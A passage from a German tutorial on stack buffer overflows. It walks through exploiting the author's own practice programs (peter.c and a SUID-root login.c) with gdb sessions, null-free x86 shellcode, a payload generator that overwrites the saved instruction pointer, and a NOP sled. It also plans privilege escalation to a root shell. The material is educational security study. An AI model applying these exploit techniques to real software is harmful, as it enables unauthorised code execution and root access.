Michael Hfuhruhurr	18	bf007272	080485d8	`..rr ....`	`rr.. ....`
William Thomas Riker	20	72656b69	08048500	`reki ....`	`iker ....`
Seamus Zelazny Harper	21	65707261	08040072	`epra ...r`	`arpe r...`
Gerstenmann Butterblume	23	6c627265	00656d75	`lbre .emu`	`erbl ume.`
Benjamin Franklin Pierce	24	6950206e	65637265	`iP.n ecre`	`n.Pi erce`

Das sieht doch schonmal sehr nachvollziehbar aus, bleibt nur noch zu klären, was da „umgestellt“ wird, und ob ich das darf. Die gute Nachricht: ich darf :-)

Es handelt sich hierbei um die *Endianess*, die Organisation von Bytes im Speicher, wenn sie zu mehrbytigen Ganzzahlen gehören. Ein 32-bit-Integer besteht aus 32 Bit, das sind 4 Byte zu je 8

Bit. Nun gibt es zwei konkurrierende Verfahren, wie diese Bytes im Speicher ausgerichtet sein können. Bei der einen liegt das höherwertige Byte an der höheren Adresse, bei der anderen an der niedrigeren Adresse.

Wir wollen wieder unser Modell heranziehen, bei dem die niedrigen Adressen links und die höheren Adressen rechts liegen:

Zahl	Darstellung 1	Darstellung 2
0x12345678	78 56 34 12	12 34 56 78

Das Verfahren 1 heißt *Little Endian*, Verfahren 2 *Big Endian*. Wie nun schon fast offensichtlich ist: x86-Maschinen sind Little Endian. Das heißt, daß die Bytes, die in Wirklichkeit auf dem Stack dort gelandet sind, wo der gesicherte Wert von %ebp und %eip erwartet wird, richtig herum liegen (als Zeichenkette betrachtet), aber als Zahl interpretiert byteweise verdreht sind. Da uns der Debugger den Wert natürlich als Zahl präsentiert, und wir davon ausgehend die Zeichen herausgepopelt haben, erscheinen uns die Strings in Vierergruppen rückwärts. Das ist alles!

Als nächstes soll die Erklärung für die „Verzögerung“ nochmal verbildlicht werden. Wir haben ja festgestellt, daß der Puffer erst bei 16 Zeichen angekratzt wird, weil das 17. „Zeichen“, das '\0', in den Bereich des alten Base Pointers reinreicht.

Puffer	`ret`	%ebp	%eip
`Benjamin.Fra`	`nkli`	`n.Pi`	`erce`

Das bedeutet, daß nach dem Aufruf von `gets()` in der Variable `ret` der Teilstring „nkli“ stehen müsste, das wären die Zeichen 'i', 'l', 'k', 'n' wenn man die Endianess beachtet, in hexadezimal 69 6c 6b 6e. Das lässt sich doch überprüfen – einfach das Programm mit Debugging-Informationen übersetzen, sodaß die Variablen prüfbar sind, Breakpoint entsprechend setzen, und die Variable ausgeben lassen!

```
felix@cohen:~$ gcc -g -o peter.dbg peter.c
...
felix@cohen:~$ gdb peter.dbg
...
(gdb) break *0x8048579
Breakpoint 1 at 0x8048579: file peter.c, line 11.
(gdb) run
Starting program: /home/felix/peter.dbg
Dieses Programm findet den Peter!
Dein Name: Benjamin Franklin Pierce

Breakpoint 1, 0x8048579 in ask_user () at peter.c:11
11              gets(name);
(gdb) print/x ret
$1 = 0x696c6b6e
```

Na, wenn das mal nicht gut aussieht, den Naturwissenschaftler freut es doch immer wieder, wenn die Theorie den Ausgang des Versuchs vorhersagen kann :-)

3.2. Modfikation der Rücksprungadresse

Wir wissen nun, wo die Rücksprungadresse liegt, und daß die wahre Größe des Puffers von der durch das C-Programm als Minimum geforderten Größe nach oben hin abweichen kann. Außerdem haben wir uns mit der Endianess beschäftigt und können mit dem Debugger hantieren. Zeit etwas damit anzufangen!

Das Programm, wir reden immer noch von `peter.c` aus Anhang A.1, erkennt ja nun den wahren Peter, aber vielleicht heißen wir ja gar nicht Peter? Ziel der Sache soll sein, irgendwas das *nicht* „Peter“ lautet einzugeben, und trotzdem die Erfolgsmeldung einzuheimsen. Man kann das ganze jetzt noch etwas ausschmücken, vielleicht geht es um ein außerhalb des Programms gespeichertes Paßwort, an das wir nicht kommen, und statt der Meldung wird eine automatische Überweisung von 500 Euro auf unser Konto getätigt.

Was wir wissen müssen: an welcher Stelle soll das Programm fortsetzen?
Ein Blick in die Ausgabe des Disassmblers sagt es uns:

```
...
0x80485d3 <main+19>:    call   0x8048550 <ask_user>
0x80485d8 <main+24>:    movl   %eax,%eax
0x80485da <main+26>:    movl   %eax,0xfffffffc(%ebp)
0x80485dd <main+29>:    cmpl   $0x1,0xfffffffc(%ebp)
0x80485e1 <main+33>:    jne    0x8048600 <main+64>
0x80485e3 <main+35>:    pushl  $0x80486c1
0x80485e8 <main+40>:    call   0x804844c <printf>
0x80485ed <main+45>:    addl   $0x4,%esp
0x80485f0 <main+48>:    xorl   %eax,%eax
0x80485f2 <main+50>:    jmp    0x8048620 <main+96>
0x80485f4 <main+52>:    leal   0x0(%esi),%esi
0x80485fa <main+58>:    leal   0x0(%edi),%edi
0x8048600 <main+64>:    pushl  $0x80486e4
0x8048605 <main+69>:    call   0x804844c <printf>
0x804860a <main+74>:    addl   $0x4,%esp
0x804860d <main+77>:    xorl   %eax,%eax
0x804860f <main+79>:    jmp    0x8048620 <main+96>
...
```

Da steht kurzgefasst: rufe `ask_user()` auf, speicher den Rückgabewert in `0xfffffffc(%ebp)` (also auf dem Stack), vergleiche den Wert mit 1. Ist er nicht 1, mache bei main+64 weiter, ansonsten bei main+35. Der Quellcode sagt uns: die Erfolgsmeldung gibt es im Falle von `is_peter` = 1, also in main+35, Adresse 0x80485e3.

Als nächstes sehen wir uns an, wie der Puffer in `ask_user()` beschaffen ist. Wir wissen zwar inzwischen, daß er sich verhält, als sei er 16 Byte groß, jedoch haben wir dies experimentell ermittelt, und anhand des Stack Pointer-Dekrements überprüft; es gibt jedoch noch einen anderen Weg, der besser ist. Besser, weil er auch dann funktioniert, wenn hinter dem Puffer noch Variablen angelegt werden, und daher der Wert der vom Stack Pointer subtrahiert wird nicht mehr dem Offset zum Stackframe entspricht.

Die Funktion `ask_user()` sieht um `gets()` herum so aus:

```
...
0x8048570 <ask_user+32>:        leal   0xfffffff0(%ebp),%eax
0x8048573 <ask_user+35>:        pushl  %eax
0x8048574 <ask_user+36>:        call   0x804845c <gets>
...
```

In Kapitel 1.2 wurde das *Zweierkomplement* und die *indirekte Adressierung* angesprochen, hier ist dies nützlich. Die Adresse des Puffers wird aus 0xffffff0(%ebp) bestimmt, d.h. der Puffer liegt 0xffffff0 Byte vom Stackframe entfernt. Das ist 0x0000000f + 1 = 0x10, vom Betrag her, also in vorzeichenbehafteter und dezimaler Darstellung -16 Byte. Das deckt sich mit unseren Erfahrungen.

Was unsere Eingabe nun tun muß, ist furchtbar einfach: 16 Byte Puffer füllen, 4 Byte alten Base Pointer überschreiben, 4 Byte von uns errechneten Instruction Pointer einsetzen. Durch das Zerstören des Base Pointers ist nach Rückkehr der Funktion kein Arbeiten mit dem Stack mehr möglich. Dies ist ein notwendiges Übel, das wir in Kauf nehmen. Da der Wert beliebig sein kann, müssten wir ihn kennen, um ihn erneut dort reinschreiben zu können. In unserem Beispiel wäre das zwar noch möglich, jedoch in „echten Fällen“ nicht praktikabel.

```
#include <stdio.h>

int main(void)
{
        unsigned eip = 0x80485e3;
        int i;

        for (i = 0; i < 20; i++)
                putchar('A');

        fwrite(&eip, 1, 4, stdout);
        return 0;
}
```

Leser meines alten Textes werden sehen, daß ich hier neuerdings `fwrite()` verwende, anstatt die Zeichen einzeln auszugeben. Das spart das Umdenken in der Byte Order und ermöglicht später das Schreiben von „automatisierten Exploits“, in unserem Fall ist es einfach bequemer, wenn man den Wert des Instruction Pointers nochmal ändern muß, und ganz klar weniger fehlerträchtig.

Nun sehen wir uns an, was wir getan haben:

```
felix@cohen:~$ ./peter_exploit | ./peter
Dieses Programm findet den Peter!
Dein Name: Jawoll, Du bist ein echter Peter!
```

Sieht gut aus. Was man nicht sieht: das Programm hat sich nicht sauber beendet. Den Unterschied sieht man, wenn man sich den Return-Code ausgeben lässt:

```
felix@cohen:~$ ./peter
Dieses Programm findet den Peter!
Dein Name: Peter
Jawoll, Du bist ein echter Peter!
felix@cohen:~$ echo $?
0
felix@cohen:~$ ./peter_exploit | ./peter
Dieses Programm findet den Peter!
Dein Name: Jawoll, Du bist ein echter Peter!
felix@cohen:~$ echo $?
139
```

Das ist nicht nur unschön, sondern kann dem Aufrufer im Zweifelsfall verraten, daß da etwas nicht mit rechten Dingen zugegangen ist. Ein Fall, in dem soetwas überprüft wird, ist beispielsweise das Login-Programm `/bin/login`. Es überprüft Benutzername und Paßwort, und signalisiert durch den Rückgabewert dem Aufrufer, ob alles in Ordnung ist, oder es sich um einen unrechtmäßigen Zugriff handelt.

Um den Rückgabewert zu beschönigen, und in erster Linie auch das Crashen des Programms zu verhindern (Core Dumps würden nochdazu Einträge im Systemlogfile erzeugen. . .), müssen wir eigenen Code im Programm unterbringen, der hinter sich aufräumt. Das ist Ziel des nächsten Kapitels.

4. Eigenen Code einschleusen

Inzwischen ist es uns möglich, die Rücksprungadresse beliebig zu manipuliern. Damit kann also Code angesprungen werden, der im Programm bereits vorhanden ist. Viel interessanter ist es aber, eigenen Code einzuschleusen, und diesen dann auszuführen. Damit kann man dem Programm dann ganz neue Tricks beibringen, von denen es noch gar nichts wusste ;-)

Die Idee ist ganz einfach: wir haben einen Puffer, in den wir zum Überlauf sogar noch mehr Daten reinschreiben „dürfen“, als reinpassen. Das heißt erstmal: wir können nahezu beliebige Daten im Programm (genauer: auf seinem Stack) unterbringen. Nahezu beliebig, weil je nach Eingabefunktion möglicherweise bestimmte Zeichen nicht erlaubt sind. Die Funktion `gets()` beispielsweise bricht bei Auftreten von '\n' das Einlesen ab. String-Funktionen wie `strcpy()` reagieren auf '\0' innerhalb der Zeichenkette.

Ziel ist es also, eine Zeichenkette zu erzeugen, die einerseits unseren beliebigen Code enthält, und andererseits nur aus Zeichen besteht, die „verdaulich“ sind. Zunächst wollen wir dabei nur '\0' und '\n' vermeiden, in Kapitel 4.5 werde ich jedoch ein Verfahren zeigen, mit dem man auch Funktionen überlisten kann, die auf andere Zeichen reagieren.

Dieses Kapitel ist nun direkt plattformabhängig. Ich stütze mich, anders als in der letzten Auflage, hierbei auf Linux. Der Grund dafür liegt in der großen Beliebtheit bei Bastlern, und damit der Zielgruppe dieses Artikels. Außerdem ist mit Knoppix [5] eine einfache Möglichkeit gegeben, mal eben in ein Linux reinzuschauen, ohne den kompletten Datenbestand aller angeschlossenen Festplatten zu vernichten.

Unter den UNIX-Versionen der BSD-Familie ist das Vorgehen sehr ähnlich, nur die Aufrufkonvention der Kernel-Funktionen ist geringfügig anders (zumindest bei FreeBSD weiß ich, daß sie über den Stack läuft). Hier sollte sich einfach ein passendes Dokument ergoogeln lassen. Um den Einstieg in die Assembler-Programmierung unter Linux zu finden, hat sich [6] als sehr brauchbar erwiesen.

4.1. Kleiner Ausflug in die Assembler-Welt

Als Assembler-Programmierer hat man eigentlich nur die Aufgabe dafür zu sorgen, daß zur richtigen Zeit die richtigen Werte in den richtigen Registern stehen. Es dreht sich alles erstmal um die Systemaufrufe an den Kernel. Sie haben Zahlencodes, die man in den Kernel-Headern bzw. den Headern der C-Bibliothek finden kann. Auf meinem System finde ich sie beispielsweise unter
`/usr/include/asm/unistd.h`, unter FreeBSD 5 wäre es `/usr/include/sys/syscall.h`.

Weiterhin interessant ist, wie die Systemaufrufe ihre Parameter erwarten. Linux erwartet in %eax die Nummer des Syscalls, und die Parameter der Reihe nach von links nach rechts in %ebx, %ecx, %edx, %esi und %edi. Neu in 2.4 ist hierbei %ebp als sechstes Argument hinzugekommen.

In diesem Artikel wird nach einigen Wünschen meiner Leser von nun an der GNU Assembler eingesetzt. Man erreicht ihn in der Regel über den Aufruf `as`, das Paket heißt `binutils` und ist eigentlich meistens installiert.

Im ersten Programm werden auch wir uns nicht um die Ausgabe von "Hello, World!\n" drücken können. Dabei soll der Syscall `write` zum Einsatz kommen (`__NR_write` aus asm/unistd.h ist 4), dessen Deklaration laut Manpage (write(2), `man 2 write`) die folgende ist:

```
ssize_t write(int fd, const void *buf, size_t count);
```

Als Filedeskriptor setzen wir 1 ein. Diese „magische Zahl" hat in /usr/include/unistd.h einen Namen, nämlich `STDOUT_FILENO`. Generell wird man in Assembler mehr magische Zahlen verwenden, als in einer Hochsprache. Man kann zwar auch Konstanten vereinbaren, und den Zahlen damit Namen geben, jedoch werden wir uns das im Folgenden der Einfachheit halber schenken.

Unser Programm muß nun eine Zeichenkette anlegen, in das Register %eax den Wert 4 für den Syscall `write` legen, die Register %ebx, %ecx und %edx mit den Parametern füllen, und dann einen *Software-Interrupt* auslösen, 0x80. Damit wird der Kernel verständigt, er „schaut" sich dann die Werte in den Registern an, und erledigt die Arbeit. Die Parameter werden von links nach rechts verteilt, d.h. %ebx erhält 1 für stdout, %ecx die Adresse der Zeichenkette, und %edx die Länge der Zeichenkette, 14 in unserem Fall (das ist die Anzahl der Zeichen, die ausgegeben werden sollen, also '\0' nicht mit eingerechnet). Der erste Entwurf des Programms könnte nun folgendermaßen aussehen:

```
msg:
        .string "Hello, World!\n"

.global _start
_start:
        movl    $4, %eax
        movl    $1, %ebx
        leal    msg, %ecx
        movl    $14, %edx
        int     $0x80
```

Das tatsächliche Verhalten ist auch schonmal eine Näherung an das Ziel, jedoch verläuft der Ablauf nicht vollständig nach unseren Vorstellungen:

```
felix@cohen:~$ as hello.s -o hello.o
felix@cohen:~$ ld hello.o -o hello
felix@cohen:~$ ./hello
Hello, World!
Segmentation fault
```

Das liegt daran, daß das Programm nicht sauber verlassen wird. Das Problem hatte ich in 3.2 schon erwähnt, umgangen werden kann es damit, daß der Prozeß richtig beendet wird. Dazu dient der Systembefehl `exit`, die Nummer dazu ist 1. Der entsprechend abgeänderte Code erhält also am Ende die Erweiterung

```
        movl    $1, %eax
        movl    $0, %ebx
        int     $0x80
```

Nun sieht die Ausgabe schon viel besser aus:

```
felix@cohen:~$ ./hello
Hello, World!
```

Die 0 in %ebx ist übrigens der Code, den das Programm an den Aufrufer zurückgibt, die Deklaration von `exit` in der Manpage hätte dies auch verraten.

4.2. Ein einfaches Beispiel

Als nächstes soll das Programm `peter.c` wieder gequält werden. Wir möchten es davon überzeugen, sich mit dem Exitcode 42 zu beenden. Dabei wird auch der Code so gestaltet sein, daß im Maschinencode keine „bösen Zeichen“ drin vorkommen, und wir ihn problemlos über das `gets()` in das Programm einschleusen können.

Der Assembler-Code dazu ist recht kurz, wenn man „straight forward“ an die Sache rangeht:

```
.global _start
_start:
        movl    $1, %eax
        movl    $42, %ebx
        int     $0x80
```

Doch nun interessiert uns auch der Maschinen-Code, der dabei entsteht. Den erhalten wir über `objdump`:

```
felix@cohen:~$ as exit.s -o exit.o
felix@cohen:~$ ld exit.o -o exit
felix@cohen:~$ objdump -d exit

exit:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:       b8 01 00 00 00  movl   $0x1,%eax
 8048079:       bb 2a 00 00 00  movl   $0x2a,%ebx
 804807e:       cd 80           int    $0x80
```

Katastrophe! Lauter ’\0’ drin!

Das liegt daran, daß wir 32-bit-Register beschreiben, %eax und %ebx. Der Assembler macht aus 0x01 und 0x2a also 0x00000001 und 0x0000002a. Das sieht man auch im mittleren Feld, wenn man nochmal kurz an die Byte Order denkt, Little Endian. Bei der `int`-Anweisung sieht man dieses Problem nicht – sie erwartet auch nur ein Byte als Argument, daher bleibt die 0x80 auch nur ein Byte breit.

Umgehen kann man das Problem, indem man nur die unteren 8 Bit des Registers %eax und %ebx beschreibt. Allerdings sind die Daten in den verbleibenden 24 Bit beliebig, und mit genügend Pech alles

andere als 0. Wir brauchen also einen Befehl, der ein Register leer macht, ohne daß eine 0x00000000 im Maschinencode auftaucht.

Die Antwort heißt `xorl`. Die logische Exklusiv-ODER-Verknüpfung eines Werts mit sich selbst ergibt immer 0. Zur Erinnerung nochmal die Wahrheitstabelle der XOR-Verknüpfung:

XOR	0	1
0	0	1
1	1	0

XOR wird auch als *Antivalenz* bezeichnet, treffen zwei gleiche Wahrheitswerte aufeinander, so ist das Ergebnis logisch *falsch*, treffen zwei unterschiedliche aufeinander, ist das Ergebnis logisch *wahr*.

Der abgewandelte Code sieht nun so aus:

```
xorl    %eax, %eax
xorl    %ebx, %ebx
movb    $1, %al
movb    $42, %bl
int     $0x80
```

Der dazugehörige Maschinencode

```
8048074:       31 c0           xorl   %eax,%eax
8048076:       31 db           xorl   %ebx,%ebx
8048078:       b0 01           movb   $0x1,%al
804807a:       b3 2a           movb   $0x2a,%bl
804807c:       cd 80           int    $0x80
```

Das ist nicht nur frei von Nullbytes, sondern nochdazu kürzer (10 Byte statt vorher 12 Byte).

Nun könnte man einfach die Hexzeichen aus dem Maschinencode-Dump nehmen, und in einen C-String wie etwa `"\x31\xc0\x31\xdb\xb0\x01\xb3\x2a\xcd\x80"` verwandeln, was bei so kurzen Codestücken hundertmal schneller geht, als ein Programm zu basteln. Allerdings brauchen wir eh eins, das den Code einschleust, also warum nicht doch die mühselige und vor allem fehleranfällige Arbeit anderen überlassen?

Man kann aus einem ELF-Binary (entweder direkt das Ergebnis des Assemblers, oder wie hier gezeigt die Ausgabe des Linkers) ein *flat binary* machen, also die reinen Binärdaten.

```
felix@cohen:~$ ls -l exit
-rwxrwxr-x   1 felix    felix         683 Jul 31 12:49 exit
felix@cohen:~$ objcopy -O binary exit
felix@cohen:~$ ls -l exit
-rwxrwxr-x   1 felix    felix          10 Jul 31 12:49 exit
```

10 Byte deckt sich mit unserer Erwartung. Nun gibt es jedoch noch eine kleine Frage, die wir uns bisher gar nicht gestellt haben: wie muß eigentlich die Rücksprungadresse lauten?

Wir stopfen den Code in einen Puffer auf dem Stack. Die genaue Adresse kennen wir nicht, nur den Offset relativ zu %ebp. Wir müssen also im Debugger nachsehen, wo dieser Puffer zum Liegen kommt. Bei der Funktion `gets()` ist das besonders einfach, denn sie liefert als Rückgabewert einen Zeiger auf diesen Puffer. Wir müssen also nur einen Breakpoint hinter `gets()` setzen, und %eax untersuchen.

```
felix@cohen:~$ gdb peter
...
(gdb) disas ask_user
...
0x8048574 <ask_user+36>:        call   0x804845c <gets>
0x8048579 <ask_user+41>:        addl   $0x4,%esp
...
(gdb) break *0x8048579
Breakpoint 1 at 0x8048579
(gdb) run
...
(gdb) info reg eax
eax            0xbffffdcc       -1073742388
```

OK, der Instruction Pointer muß also auf 0xbffffdcc gesetzt werden. Unser Programm, das die passende Zeichenkette erzeugt, könnte also so aussehen (auf Minimum gekürz, geht schöner):

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        FILE *file;
        char code[1024];
        unsigned eip = strtoul(argv[3], NULL, 0);
        int i, bytes, length;

        file = fopen(argv[1], "rb");
        bytes = fread(code, 1, sizeof(code), file);
        fclose(file);

        fwrite(code, 1, bytes, stdout);
        length = strtoul(argv[2], NULL, 0);
        for (i = bytes; i < length; i++)
                putchar('A');

        fwrite(&eip, 1, 4, stdout);

        return 0;
}
```

Wir rufen das Programm nun auf, als ersten Parameter die Datei mit dem binären Code, die mit `objdump` erzeugt wurde, als zweiten Parameter die Anzahl Zeichen, die bis zum gesicherten Wert des Instruction Pointers überschrieben werden müssen. Das ist also 20 (wir erinnern uns: 12 Byte Puffer, 4 Byte `ret`, 4 Byte alter %ebp). Der dritte Parameter ist der neue Instruction Pointer, die Adresse des Puffers auf dem Stack.

Bei mir passiert folgendes:

```
felix@cohen:~$ ./peter_exploit2 exit 20 0xbffffdcc | ./peter
Dieses Programm findet den Peter!
Dein Name: felix@cohen:~$ echo $?
42
```

Um ehrlich zu sein überrascht mich dies ein klein wenig. Durch das Ablaufen lassen des Programms im Debugger wird nämlich der Stack ein bißchen verändert, und zwar dergestalt, daß die aus %eax abgelesene Pufferadresse leicht verschoben erscheint.

Halten wir erstmal fest, daß es funkioniert hat. Im nächsten Abschnitt wird ein ungleich komplizierteres Beispiel vorgestellt, und dort wird sicherlich eine Verschiebung des Puffers beobachtbar sein. Dann wird der *Trick mit den NOPs* auch dort erklärt werden.

Falls das einfache Beispiel nun nicht geklappt haben sollte: **Don't Panic!** Das wird noch geklärt werden.

4.3. Ein anspruchsvolles Beispiel

Wir wollen uns nun an ein richtiges Szenario heranwagen. Das Programm `login.c` in Anhang A.2 bildet einen Login-Prozeß nach, dabei liest es Benutzername und Paßwort aus einer Datenbank (eine Textdatei im Format `<username>:<password>\n`). Wenn ein passendes Paar aus Benutzername und Paßwort gefunden wurde, so wird der Prozeß mit dem Rückgabewert 0 beendet, andernfalls mit 1.

Damit alles wie geplant funktioniert, muß die Umgebung entsprechend vorbereitet werden. Das Programm selbst muß root „gehören" und das *SUID-Bit* (s.u.) gesetzt haben. Darüber hinaus sollte die Datenbank mit den Benutzername/Paßwort-Paar(en) ebenfalls root gehören, und nur für diesen lesbar sein, damit auch eine gewisse Notwendigkeit besteht, die passenden Rechte zu erlangen, es soll ja halbwegs realistisch werden.

Mein Setup sieht so aus:

```
felix@cohen:~$ gcc login.c -o login
felix@cohen:~$ su
Password:
cohen:/home/felix# chown root login
cohen:/home/felix# chgrp root login
cohen:/home/felix# chmod +s login
cohen:/home/felix# echo "felix:geheim" > login.txt
cohen:/home/felix# chgrp root login.txt
cohen:/home/felix# chmod 660 login.txt
cohen:/home/felix# exit
exit
felix@cohen:~$ ls -la login*
-rwsrwsr-x   1 root     root         5755 Jul 31 16:50 login
-rw-rw-r--   1 felix    felix        1041 Jul 31 16:18 login.c
-rw-rw----   1 root     root           13 Jul 31 16:51 login.txt
```

Der normale Benutzer „felix" kann nun weder in die Datei login.txt reinschauen, noch sie ändern. Der einzige Weg führt über das Programm, das mit dem *SUID-Bit* ausgestattet ist. Das bedeutet, daß es mit den Rechten des Dateieigentümers ausgeführt wird, die sich von denen des Aufrufers unterscheiden können. Bekannte Programm mit gesetztem *SUID-Bit* sind `ping` (das braucht die root-Rechte zum Öffnen des Sockets), `mount`, das echte `login` sowie `su`.

Wenn das Programm also auf die Datenbank zugreifen will, so kann es dies, weil es mit root-Rechten läuft. So ein Programm ist immer ein lohnendes Ziel, denn wenn man es davon überzeugen kann, etwas anderes zu tun, so tut es dies ebenfalls mit root-Rechten.

Die Verwundbarkeit ist diesmal nicht durch `gets()` gegeben, das wurde durch ein sicheres `fgets()` ersetzt. Jedoch kann die Funktion `getpass()` bis zu 128 Zeichen einlesen, und deren Puffer wird mit dem `strcpy()` in einen Puffer kopiert, der nur 50 Zeichen fassen kann.

Im Folgenden sollen drei Angriffe geplant und durchgeführt werden:

- Das Programm soll sich trotz ungültigem Benutzernamen mit Rückgabecode 0 beenden
- Das Programm soll die Datenbank für „other“ lesbar machen
- Das Programm soll eine Shell mit root-Rechten erzeugen

Zuerst werden wir uns um die Größe des Puffers kümmern.

```
0x80487b0 <main>:       pushl  %ebp
0x80487b1 <main+1>:     movl   %esp,%ebp
0x80487b3 <main+3>:     subl   $0xdc,%esp
...
0x804882e <main+126>:   call   0x804858c <getpass>
0x8048833 <main+131>:   addl   $0x4,%esp
0x8048836 <main+134>:   movl   %eax,%eax
0x8048838 <main+136>:   pushl  %eax
0x8048839 <main+137>:   leal   0xffffff94(%ebp),%eax
0x804883c <main+140>:   pushl  %eax
0x804883d <main+141>:   call   0x804854c <strcpy>
```

Insgesamt werden also 0xdc = 220 Byte Platz auf dem Stack geholt, unser Puffer für das Paßwort liegt jedoch irgendwo mitten drin. Deshalb betrachten wir uns den Code um `strcpy()` herum. Die Funktion `getpass()` hat einen eigenen Puffer, dessen Adresse sie zurükgibt, sie steht also in %eax. Für C-Funktionen werden die Parameter von rechts nach links auf den Stack gelegt, zuerst also diese Adresse, das geschieht in main+136. Danach wird eine Adresse auf dem Stack ausgerechnet, und ebenfalls als Parameter auf den Stack gelegt, das ist der Puffer. Er hat also einen Offset von 0xffffff94 zum Stackframe, das sind 108 Byte. Ein Blick in den Quellcode läßt mutmaßen, warum das so ist: 50 ist kein Vielfaches von 32 Bit, 52 jedoch. Zwei Puffer zu 52 Byte, ein Zeiger zu 4 Byte – 108 Byte.

Als nächstes müssen wir die Rücksprungadresse in Erfahrung bringen, also die Adresse des Puffers. Wir lassen das Programm im Debugger laufen, und haben zwei Möglichkeiten: einmal den Wert von %ebp zum Zeitpunkt der Adressberechnung anschauen, oder den Rückgabewert von `strcpy()`, der ebenfalls auf den Puffer zeigt. Wir werden beide Möglichkeiten wahrnehmen und die Ergebnisse vergleichen.

```
felix@cohen:~$ gdb login
...
(gdb) set args login.txt
(gdb) break *0x804883d
Breakpoint 1 at 0x804883d
(gdb) run
Starting program: /home/felix/login login.txt
/bin/bash: /home/felix/login: Operation not permitted
/bin/bash: /home/felix/login: Operation not permitted

Program exited with code 01.
You can't do that without a process to debug
```

Schade, gell? Aber ein Programm mit SUID-Bit kann nicht in dieser Art gedebuggt werden. Das wäre ja auch viel zu gefährlich, denn wenn man mit dem Debugger das Programm beliebig manipulieren kann, und es dann mit fremden Rechten läuft...

Also ändern wir kurzfristig den Plan, und bilden die Umgebung nach, mit unseren Rechten, und mit einer anderen Paßwort-Datei (an die echte kommen wir ja nicht):

```
felix@cohen:~$ mkdir foo
felix@cohen:~$ cd foo
felix@cohen:~/foo$ cp ../login .
felix@cohen:~/foo$ echo "123:123" > login.txt
felix@cohen:~/foo$ ls -la login*
-rwsrwsr-x   1 felix    felix        5755 Jul 31 17:16 login
-rw-rw-r--   1 felix    felix           8 Jul 31 17:16 login.txt
```

Nächster Versuch mit dem Debugger:

```
felix@cohen:~/foo$ gdb login
...
(gdb) set args login.txt
(gdb) break *0x804883d
Breakpoint 1 at 0x804883d
(gdb) run
Starting program: /home/felix/foo/login login.txt
login: felix
password:
(no debugging symbols found)...
Breakpoint 1, 0x804883d in main ()
(gdb) info reg ebp
ebp            0xbffffdd8       0xbffffdd8
(gdb) nexti
0x8048842 in main ()
(gdb) info reg eax
eax            0xbffffd6c       -1073742484
```

Also gut, der Puffer liegt an Adresse 0xbffffd6c. Jetzt der Weg über %ebp: 108 ist in hexadezimal 0x6c. 0xbffffdd8 - 0x6c = 0xbffffd6c. Stimmt haargenau. Nun können wir uns daran machen, das erste Exploit für dieses Programm zu basteln. Das Programm `exit.s` aus dem letzten Beispiel können wir gerade weiterverwenden, wir lassen einfach das Schreiben der 42 in %bl weg, dann bleibt es 0, und das ist ja der Rückgabewert, den wir sehen wollen. Als Exploit verwenden wir das aus Kapitel 4.2 weiter. Allerdings erwartet das login-Programm zuerst einen Benutzernamen, und dann erst das manipulierte Paßwort. Deshalb ist der Aufruf folgender:

```
felix@cohen:~/foo$ echo user > input
felix@cohen:~/foo$ ./exploit exit 112 0xbffffd6c >> input
felix@cohen:~/foo$ ./login login.txt < input
login: password: Segmentation fault
felix@cohen:~/foo$ echo $?
139
```

Offensichtlich hat es nicht funktioniert. Jetzt schauen wir uns das ganze nochmal vom Debugger aus an:

```
$ gdb login
...
(gdb) run login.txt < input
Starting program: /home/felix/foo/login login.txt < input
login: password: (no debugging symbols found)...
Program exited normally.
```

Die Ausgabe “Program exited normally“ besagt, daß sich das Programm mit dem Rückgabewert 0 beendet hat, also wie es sollte. Woran liegt dies nun, im Debugger funktioniert es, in der echten Welt nicht?

Wie bereits angedeutet verändert der Debugger den Stack. Wir schummeln zum besseren Verständnis einmal kurz, und ersetzen in dem zu exploitenden Programm die Zeile
`strcpy(pass, getpass("password: "));` durch
`printf("%p\n", strcpy(pass, getpass("password: ")));`, lassen uns also die Adresse des Puffers ausgeben. Wenn wir es nun einmal von der Konsole, und einmal aus dem Debugger starten, erhalten wir folgende Ergebnisse:

```
$ ./CHANGED_login login.txt
login: 123
password:
0xbffffd54
felix@cohen:~/foo$ gdb CHANGED_login
...
(gdb) run login.txt
...
0xbffffd5c
...
```

Die gute Nachricht: wir haben das Problem gefunden. Die schlechte: der „Fehlbetrag“ ist nicht bei jedem Programm gleich. Es wäre also eine schöne Sache, wenn man einen generellen Weg finden könnte, diese Ungenauigkeit auszugleichen.

Ich hatte in Kapitel 4.2 bereits einen ominösen *Trick mit den NOPs* angekündigt, und hier kommt er:

Der Trick mit den NOPs
Jeder Prozessor kennt eine Instruktion namens *NOP*, für No Operation. Sie kann einmal zum Ausrichten anderer Befehle dienen, zum anderen auch um einen Takt auszusetzen, wenn irgendetwas sehr genauem Timing unterworfen ist.

Wir wollen das NOP einsetzen, um unseren eingeschleusten Code damit zu umgeben, bzw. ihn ans Ende einer „Landebahn“ aus NOPs zu legen. Die Idee ist, so etwas zu erzeugen:

...	NOP	NOP	NOP	Code	Schrott

Der Code wird somit immer erfolgreich ausgeführt, wenn man ihn entweder direkt anspringt, oder aber irgendeins der NOPs davor. Diese werden alle (ohne eine Wirkung zu haben) abgearbeitet, und die Ausführung landet bei unserem Code.

Bei diesem komplexeren Beispiel ist zu beachten, daß nach dem Einlesen und Überfluten des Puffers noch weitere Veriablen auf dem Stack verändert werden. Dies betrifft insbesondere `file`, das zwischen dem Puffer und dem gesicherten Instruction Pointer liegt. Der auszuführende Code darf also nicht ganz am Ende des 108 Byte (bzw. sogar 112 Byte, wenn man den alten Wert von %ebp mitzählt) großen Bereichs liegen, denn sonst würde er noch überschrieben werden.

Das nächste Exploit soll eine Datei erzeugen, die zur Eingabe verwendet wird, und folgenden Aufbau hat:

- Benutzername, gefolgt von '\n'
- 50 Byte NOPs
- den Code
- mit NOPs auf 112 Byte auffüllen
- der neue Instruction Pointer

Damit müssen wir die Rücksprungadresse nur auf ca. 50 Byte genau anpassen, und haben noch immer rund 50 Byte Platz für den Code, der in den späteren Versionen ja noch mehr tun soll, als nur den Prozeß mit einem Exitcode von 0 beenden.

Den diesmal etwas besser strukturierten Code habe ich in Anhang A.3 gesteckt. Hier das Ergebnis:

```
$ ./exploit exit 112 50 0xbffffd80 ex
Setting username 'byebye'...
50 byte padding with NOP...
the code, 10 bytes...
padding with NOPs up to 112 bytes
setting new %eip, 0xbffffd80
done.
felix@cohen:~/foo$ ./login login.txt < ex
login: password: felix@cohen:~/foo$ echo $?
0
```

